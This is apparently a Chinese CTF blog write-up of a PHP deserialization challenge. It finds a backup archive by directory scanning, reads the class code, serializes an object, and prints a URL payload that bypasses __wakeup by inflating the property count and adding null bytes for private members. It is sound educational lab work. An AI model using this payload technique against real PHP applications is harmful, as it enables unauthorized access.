今天做了一道PHP反序列化的题,写篇博客整理下思路。
启动靶机之后是如下页面:
网页提示要寻找网站的备份文件,可以用dirsearch扫描,扫描出来备份文件路径名为www.zip
在地址栏输入备份文件路径名后,下载文件夹。 解压后得到几个PHP文件 打开flag.php,发现只有一句话:
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
打开class.php,得到如下代码:
<?php
include(flag.php);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
在index.php中提示我们引用了class.php,并用get的方式上传一个名为select的变量,之后把它反序列化了,反序列化与class.php里的魔术方法相关。
容易看出来这是一个PHP反序列化的题,首先我们要得到序列化后的数据,编写如下代码,注意要把需要绕过的代码删掉
<?php
$flag = 'Syc{dog_dog_dog_dog}';
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a= new Name(admin,100);
$b = serialize($a);
echo $b;
?>
是创建了名字是a的一个对象,然后把序列化后的数据存在变量b内,再输出b。运行后得到序列化值:
O:4:“Name”:2:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}
调用unserialize()时会自动调用魔法函数wakeup(),可以通过改变属性数绕过,把Name后面的2改为3或以上即可, " 改为%22,因为成员(属性)是private,所以要在类名和成员名前加%00
修改完善后的payload: ?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}
上传参数后得到flag:
|